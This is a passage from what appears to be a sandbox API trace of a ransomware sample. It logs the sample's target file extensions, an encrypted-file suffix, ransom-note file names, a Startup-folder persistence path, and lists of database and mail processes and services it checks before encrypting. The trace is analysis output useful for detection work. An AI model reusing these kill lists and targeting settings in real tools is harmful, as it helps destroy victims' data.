kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0282.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x578168 | out: hHeap=0x4e0000) returned 1 [0282.687] lstrlenW (lpString="") returned 0 [0282.687] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b478 | out: hHeap=0x4e0000) returned 1 [0282.688] lstrlenW (lpString=".love$") returned 6 [0282.688] lstrlenW (lpString=".love$") returned 6 [0282.688] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b220 | out: hHeap=0x4e0000) returned 1 [0282.688] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0282.688] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x534970 | out: hHeap=0x4e0000) returned 1 [0282.688] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0282.688] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0282.688] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7548 | out: hHeap=0x4e0000) returned 1 [0282.688] lstrlenW (lpString="Info.hta") returned 8 [0282.688] lstrlenW (lpString="Info.hta") returned 8 [0282.688] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d670 | out: hHeap=0x4e0000) returned 1 [0282.688] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57bd90, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe")) returned 0x47 [0282.689] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57bd90 | out: hHeap=0x4e0000) returned 1 [0282.689] lstrlenW (lpString="finbbp.exe") returned 10 [0282.689] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.689] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5756a8 | out: hHeap=0x4e0000) returned 1 [0282.689] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x57bd90, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0282.689] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x58bd98 | out: hHeap=0x4e0000) returned 1 [0282.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57bd90 | out: hHeap=0x4e0000) returned 1 [0282.691] lstrlenW (lpString="%windir%;") returned 9 [0282.691] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.691] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0282.691] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x555160 | out: hHeap=0x4e0000) returned 1 [0282.692] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0282.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5756a8 | out: hHeap=0x4e0000) returned 1 [0282.692] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x555160, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0282.692] lstrlenW (lpString="C:\\") returned 3 [0282.693] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0282.693] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x555160 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57a208 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x536e70 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b4f0 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5349f8 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b220 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x535630 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b550 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x536d60 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b538 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5233a0 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b568 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523430 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b508 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57a268 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b448 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523280 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b328 | out: hHeap=0x4e0000) returned 1 [0282.695] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5357c8 | out: hHeap=0x4e0000) returned 1 [0282.696] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b2f8 | out: hHeap=0x4e0000) returned 1 [0282.696] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57a298 | out: hHeap=0x4e0000) returned 1 [0282.696] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57b4a8 | out: hHeap=0x4e0000) returned 1 [0282.696] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f54d8 | out: hHeap=0x4e0000) returned 1 [0282.696] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6630 | out: hHeap=0x4e0000) returned 1 [0282.696] lstrlenW (lpString="%systemdrive%") returned 13 [0282.696] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d800 | out: hHeap=0x4e0000) returned 1 [0282.696] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x535520 | out: hHeap=0x4e0000) returned 1 [0282.696] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x57a1f8 | out: hHeap=0x4e0000) returned 1 [0282.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x545140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0282.697] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4fa7a0*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 84 os_tid = 0x428 Thread: id = 89 os_tid = 0x420 [0282.747] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x57b220 [0282.747] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57b220, Size=0x20) returned 0x51d580 [0282.747] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d580, Size=0x40) returned 0x4f79c8 [0282.747] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f79c8, Size=0x80) returned 0x535168 [0282.747] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x535168, Size=0x100) returned 0x575288 [0282.747] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x57b220 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57b220, Size=0x20) returned 0x51d670 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d670, Size=0x40) returned 0x4f79c8 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f79c8, Size=0x80) returned 0x535740 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x535740, Size=0x100) returned 0x575ff0 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x57b220 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x57a1f8 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x57b2f8 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57a1f8, Size=0x8) returned 0x57a208 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f66f0 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57a208, Size=0x10) returned 0x57b550 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x18) returned 0x4f6450 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1a) returned 0x51d670 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57b550, Size=0x20) returned 0x51d698 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1c) returned 0x51d760 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x16) returned 0x4f6490 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1a) returned 0x51d7b0 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x57b4c0 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x57a1f8 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x40) returned 0x4f79c8 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57a1f8, Size=0x8) returned 0x57a2b8 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x3c) returned 0x4f7b30 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57a2b8, Size=0x10) returned 0x57b550 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f67d0 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x18) returned 0x4f6570 [0282.748] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57b550, Size=0x20) returned 0x51d918 [0282.748] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x24) returned 0x4f54d8 [0282.749] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0282.749] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x575288 | out: hHeap=0x4e0000) returned 1 [0282.749] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0282.749] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x575ff0 | out: hHeap=0x4e0000) returned 1 [0282.749] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x51d800 [0282.749] EnumServicesStatusExW (in: hSCManager=0x51d800, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0) returned 0 [0282.750] GetLastError () returned 0xea [0282.750] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1ca4) returned 0x53b990 [0282.750] EnumServicesStatusExW (in: hSCManager=0x51d800, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53b990, cbBufSize=0x1ca4, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53b990, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0) returned 1 [0282.751] CloseServiceHandle (hSCObject=0x51d800) returned 1 [0282.751] lstrlenW (lpString="Appinfo") returned 7 [0282.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0282.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0282.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0282.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0282.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0282.753] lstrlenW (lpString="AppXSvc") returned 7 [0282.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0282.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0282.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0282.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0282.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0282.754] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0282.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.754] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0282.754] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0282.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0282.754] lstrlenW (lpString="Audiosrv") returned 8 [0282.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0282.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0282.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0282.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0282.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0282.754] lstrlenW (lpString="BFE") returned 3 [0282.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0282.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0282.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0282.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0282.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0282.754] lstrlenW (lpString="BITS") returned 4 [0282.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0282.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0282.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0282.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0282.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0282.754] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0282.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0282.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0282.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0282.755] lstrlenW (lpString="CDPSvc") returned 6 [0282.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0282.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0282.755] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0282.755] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0282.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0282.755] lstrlenW (lpString="ClickToRunSvc") returned 13 [0282.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.755] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0282.755] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0282.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0282.755] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0282.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.755] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0282.755] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0282.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0282.755] lstrlenW (lpString="CryptSvc") returned 8 [0282.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0282.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0282.755] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0282.755] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0282.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0282.755] lstrlenW (lpString="DcomLaunch") returned 10 [0282.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0282.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0282.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0282.755] lstrlenW (lpString="DeviceAssociationService") returned 24 [0282.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.756] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0282.756] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0282.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0282.756] lstrlenW (lpString="Dhcp") returned 4 [0282.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0282.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0282.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0282.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0282.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0282.756] lstrlenW (lpString="Dnscache") returned 8 [0282.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0282.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0282.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0282.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0282.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0282.756] lstrlenW (lpString="DPS") returned 3 [0282.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0282.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0282.756] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0282.756] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0282.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0282.756] lstrlenW (lpString="DusmSvc") returned 7 [0282.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0282.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0282.756] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0282.756] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0282.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0282.756] lstrlenW (lpString="EventLog") returned 8 [0282.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0282.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0282.756] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0282.756] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0282.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0282.756] lstrlenW (lpString="EventSystem") returned 11 [0282.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0282.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0282.757] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0282.757] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0282.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0282.757] lstrlenW (lpString="FontCache") returned 9 [0282.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0282.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0282.757] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0282.757] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0282.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0282.757] lstrlenW (lpString="gpsvc") returned 5 [0282.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0282.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0282.757] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0282.757] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0282.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0282.757] lstrlenW (lpString="iphlpsvc") returned 8 [0282.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.757] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0282.757] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0282.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0282.757] lstrlenW (lpString="KeyIso") returned 6 [0282.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0282.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0282.757] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0282.757] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0282.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0282.757] lstrlenW (lpString="LanmanServer") returned 12 [0282.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0282.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0282.757] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0282.757] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0282.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0282.758] lstrlenW (lpString="LanmanWorkstation") returned 17 [0282.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.758] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0282.758] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0282.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0282.758] lstrlenW (lpString="lfsvc") returned 5 [0282.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0282.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0282.758] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0282.758] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0282.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0282.758] lstrlenW (lpString="lmhosts") returned 7 [0282.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0282.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0282.758] lstrcmpiW (lpString1="sqlwriter", 